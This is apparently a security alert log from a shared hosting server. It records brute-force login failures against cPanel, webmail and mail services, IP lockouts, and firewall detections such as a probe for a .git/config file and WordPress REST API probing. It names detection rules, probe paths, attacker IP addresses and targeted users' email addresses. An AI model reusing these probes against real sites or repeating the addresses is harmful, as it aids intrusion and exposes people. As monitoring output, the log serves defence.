abuser: 66.9.186.241
country_id: 3996063
description:
[2026-06-13 21:05:11 +0000] info [cpaneld] 66.9.186.241 - caisseder "GET /login/?login_only=1&user=caisseder&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caisseder (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.121.58.40
country_id: 3469034
description:
[2026-06-13 21:05:16 +0000] info [cpaneld] 138.121.58.40 - caissede "GET /login/?login_only=1&user=caissede&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissede (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.162.120.130
country_id: 2017370
description:
[2026-06-13 21:04:39 +0000] info [cpaneld] 82.162.120.130 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.32.9.59
country_id: 3686110
description:
[2026-06-13 21:04:43 +0000] info [cpaneld] 181.32.9.59 - caissederetraites "GET /login/?login_only=1&user=caissederetraites&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetraites (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.249.209.16
country_id: 2542007
description:
[2026-06-13 21:04:45 +0000] info [cpaneld] 41.249.209.16 - caissederetraitestg "GET /login/?login_only=1&user=caissederetraitestg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetraitestg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.3.219.121
country_id: 2921044
description:
[2026-06-13 21:04:52 +0000] info [cpaneld] 176.3.219.121 - caissederetraite "GET /login/?login_only=1&user=caissederetraite&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetraite (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.201.141.253
country_id: 2017370
description:
[2026-06-13 21:04:55 +0000] info [cpaneld] 88.201.141.253 - caissederetrait "GET /login/?login_only=1&user=caissederetrait&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetrait (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.138.173.214
country_id: 1210997
description:
[2026-06-13 21:05:02 +0000] info [cpaneld] 103.138.173.214 - caissederetra "GET /login/?login_only=1&user=caissederetra&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetra (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.190.109.3
country_id: 3469034
description:
[2026-06-13 21:05:30 +0000] info [cpaneld] 45.190.109.3 - cais "GET /login/?login_only=1&user=cais&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cais (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.203.85.205
country_id: 3686110
description:
[2026-06-13 21:05:34 +0000] info [cpaneld] 152.203.85.205 - ca "GET /login/?login_only=1&user=ca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.117.72.105
country_id: 3865483
description:
[2026-06-13 21:05:20 +0000] info [cpaneld] 181.117.72.105 - caissed "GET /login/?login_only=1&user=caissed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.225.198.171
country_id: 1562822
description:
[2026-06-13 21:05:24 +0000] info [cpaneld] 171.225.198.171 - caisse "GET /login/?login_only=1&user=caisse&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caisse (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.191.223.97
country_id: 1562822
domain: www.educplusmedia.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.educplusmedia.tghttp/www.educplusmedia.tg/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.191.223.97
country_id: 1562822
domain: www.educplusmedia.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.educplusmedia.tg/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 13 21:09:41 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.117.88.224
country_id: 2661886
description:
[2026-06-13 21:09:47 +0000] info [cpaneld] 185.117.88.224 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 21:10:00 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-13 21:09:43 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:56059: 535 Incorrect authentication data (set_id=tomo)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.117.88.224
country_id: 2661886
description:
[2026-06-13 21:13:56 +0000] info [cpaneld] 185.117.88.224 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.198.42.71
country_id: 241170
description:
Jun 13 21:15:22 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.198.42.71 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.34.252.80
country_id: 2921044
description:
[2026-06-13 21:15:18 +0000] info [webmaild] 149.34.252.80 - hilaire.mensah@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.29.2.167
country_id: 3057568
description:
[2026-06-13 21:16:43 +0000] info [webmaild] 46.29.2.167 - hkanaza@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-13 21:18:35 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:47177: 535 Incorrect authentication data (set_id=balancer)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 13 21:18:33 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 21:19:49 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.71.246.44
country_id: 2017370
description:
Jun 13 21:20:53 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.71.246.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.71.246.44
country_id: 2017370
description:
2026-06-13 21:20:55 dovecot_plain authenticator failed for H=(ic5rrqmz9k2uggzdjedmkfy5n8bdz) [109.71.246.44]:46115: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 137.27.32.70
country_id: 6252001
description:
Jun 13 21:21:16 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 137.27.32.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.27.32.70
country_id: 6252001
description:
2026-06-13 21:21:18 dovecot_plain authenticator failed for H=syn-137-027-032-070.biz.spectrum.com (waimbor) [137.27.32.70]:35828: 535 Incorrect authentication data (set_id=tpelei@cameg-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 21:21:20 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.255.62.89
country_id: 6252001
description:
Jun 13 21:21:35 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.255.62.89 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 119.12.178.14
country_id: 6252001
description:
[2026-06-13 21:23:32 +0000] info [cpaneld] 119.12.178.14 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.149
country_id: 1269750
description:
2026-06-13 21:24:52 dovecot_login authenticator failed for H=(nsg-corporate-149.229.187.122.airtel.in) [122.187.229.149]:40339: 535 Incorrect authentication data (set_id=waphf@white-ways.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.88.218.97
country_id: 1814991
description:
2026-06-13 21:24:18 dovecot_login authenticator failed for H=([124.88.218.97]) [124.88.218.97]:41164: 535 Incorrect authentication data (set_id=waphf@white-ways.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.149
country_id: 1269750
description:
Jun 13 21:24:50 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.149 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 129.212.225.47
country_id: 1880251
description:
[2026-06-13 21:24:59 +0000] info [cpaneld] 129.212.225.47 - 20835250475695 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.66.56.214
country_id: 1643084
description:
[2026-06-13 21:25:01 +0000] info [cpaneld] 157.66.56.214 - enadamso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user enadamso (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.88.218.97
country_id: 1814991
description:
Jun 13 21:24:16 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.88.218.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 21:25:18 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.197.22.17
country_id: 241170
domain: snbt-togocom.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/snbt-togocom.snb.tg/uploads/images/569.jpg HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.19.42
country_id: 3469034
description:
Jun 13 21:26:11 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.19.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-13 21:27:13 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:40560: 535 Incorrect authentication data (set_id=colin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.19.42
country_id: 3469034
description:
Jun 13 21:26:19 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.19.42 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: cafeit.tg
description:


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 13 21:27:11 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.49.79.103
country_id: 2661886
description:
[2026-06-13 21:27:36 +0000] info [cpaneld] 13.49.79.103 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 113.15.123.142
country_id: 1814991
domain: civilemagazine.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-28.113.15.123.142||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.73.162.155
country_id: 2186224
description:
Jun 13 21:29:03 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.73.162.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.162.155
country_id: 2186224
description:
2026-06-13 21:29:05 dovecot_login authenticator failed for H=([174.64.199.92]) [121.73.162.155]:54316: 535 Incorrect authentication data (set_id=admin@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 21:31:17 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.79.180
country_id: 6252001
description:
[2026-06-13 21:32:55 +0000] info [cpaneld] 134.199.79.180 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.198.42.71
country_id: 241170
description:
Jun 13 21:33:47 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.198.42.71 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 102.165.54.218
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-33.102.165.54.218||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 21:35:06 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 21:35:49 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.32.241
country_id: 298795
description:
Jun 13 21:35:44 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.32.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-13 21:35:47 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:50160: 535 Incorrect authentication data (set_id=liranher)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.71.134
country_id: 6252001
description:
[2026-06-13 21:37:00 +0000] info [cpaneld] 134.199.71.134 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.50.222.2
country_id: 6251999
description:
[2026-06-13 21:38:14 +0000] info [webmaild] 149.50.222.2 - sahondo@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 79.127.149.40
country_id: 2328926
description:
79.127.149.40 - - [13/Jun/2026:21:39:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908831&pdata=https%253A%252F%252Flaunetogo.tg%252Flome-3eme-congres-de-la-socart-former-equiper-sauver-la-riposte-togolaise-aux-maladies-cardiovasculaires%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781386743 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/lome-3eme-congres-de-la-socart-former-equiper-sauver-la-riposte-togolaise-aux-maladies-cardiovasculaires/" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.5 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:79.127.149.40


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.255.62.89
country_id: 6252001
description:
Jun 13 21:39:12 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.255.62.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.70
country_id: 130758
description:
Jun 13 21:39:33 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.71.21.70
country_id: 1562822
description:
2026-06-13 21:39:34 dovecot_login authenticator failed for H=(dsl-tn-dynamic-137.209.22.125.airtelbroadband.in) [27.71.21.70]:3268: 535 Incorrect authentication data (set_id=dasha9198@atms.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.161.75.231
country_id: 3469034
domain: derou.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/derou.tg/en/Service_Developpement HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.89.238.90
country_id: 3865483
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/carlbro/pages/doc2/index.html HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.89.238.90
country_id: 3865483
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/carlbro/pages/doc2/index.html HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.94.190
country_id: 6252001
description:
[2026-06-13 21:42:54 +0000] info [cpaneld] 134.199.94.190 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.186.105.158
country_id: 3595528
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/11/t\xc3\xa9l\xc3\xa9chargement.jpeg 275w, http:/togodailynews.tg/wp-content/uploads/2021/11/t\xc3\xa9l\xc3\xa9chargement-272x182.jpeg 272w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 194.165.16.165
country_id: 2993457
description:
Jun 13 21:44:41 ns5 pure-ftpd[2720287]: (?@194.165.16.165) [INFO] New connection from 194.165.16.165


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 13 21:44:40 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-13 21:44:42 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:53907: 535 Incorrect authentication data (set_id=spotify)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.148.10.30
country_id: 2750405
description:
2026-06-13 21:45:50 dovecot_login authenticator failed for H=(WIN-JKGVN7T4E72) [45.148.10.30]:53645: 535 Incorrect authentication data (set_id=seee)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.148.10.30
country_id: 2750405
description:
Jun 13 21:45:48 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.148.10.30 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 129.212.225.47
country_id: 1880251
description:
[2026-06-13 21:46:52 +0000] info [cpaneld] 129.212.225.47 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.204.108.142
country_id: 1819730
description:
[2026-06-13 21:46:54 +0000] info [webmaild] 103.204.108.142 - contact@emt.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 21:48:56 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.175
country_id: 1880251
description:
47.128.121.175 - - [13/Jun/2026:21:50:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6866377&pdata=https%253A%252F%252Ftogomedia24.tg%252F2019%252F05%252F15%252Felections-locales-togo-debout-invite-les-populations-a-se-faire-recenser%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781387428 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2019/05/15/elections-locales-togo-debout-invite-les-populations-a-se-faire-recenser/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.175


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 21:51:37 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.198.42.71
country_id: 241170
description:
Jun 13 21:52:18 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.198.42.71 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-13 21:53:28 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:47730: 535 Incorrect authentication data (set_id=hs)


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 34.100.242.223
country_id: 1269750
domain: ns5mail.netmaster.tg
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/laravel/.git/config||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 13 21:53:26 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.213.202.137
country_id: 3865483
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/product/show/warsteiner HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.6.2.141
country_id: 3932488
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/mission HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.16.157.245
country_id: 3175395
description:
[2026-06-13 21:56:13 +0000] info [webmaild] 69.16.157.245 - ptitrikou@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 21:55:54 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.255.62.89
country_id: 6252001
description:
Jun 13 21:56:49 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.255.62.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.80.64.164
country_id: 6252001
description:
Jun 13 21:56:35 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.80.64.164 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.80.64.164
country_id: 6252001
description:
2026-06-13 21:56:37 dovecot_plain authenticator failed for H=ec2-98-80-64-164.compute-1.amazonaws.com (7miy3rre06nm4qf2gbj4wj) [98.80.64.164]:34678: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.103.166
country_id: 1269750
description:
2026-06-13 21:57:23 dovecot_plain authenticator failed for H=(tiolatic) [182.76.103.166]:33816: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.76.103.166
country_id: 1269750
description:
Jun 13 21:57:21 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.76.103.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 21:57:45 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.250.255.25
country_id: 1861060
description:
[2026-06-13 21:57:47 +0000] info [webmaild] 45.250.255.25 - hkanaza@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.223.62.22
country_id: 1880251
description:
Jun 13 21:59:14 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.223.62.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 164.138.220.142
country_id: 732800
domain: togosem.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users/me||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 164.138.220.142
country_id: 732800
domain: togosem.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.16||T:APACHE||


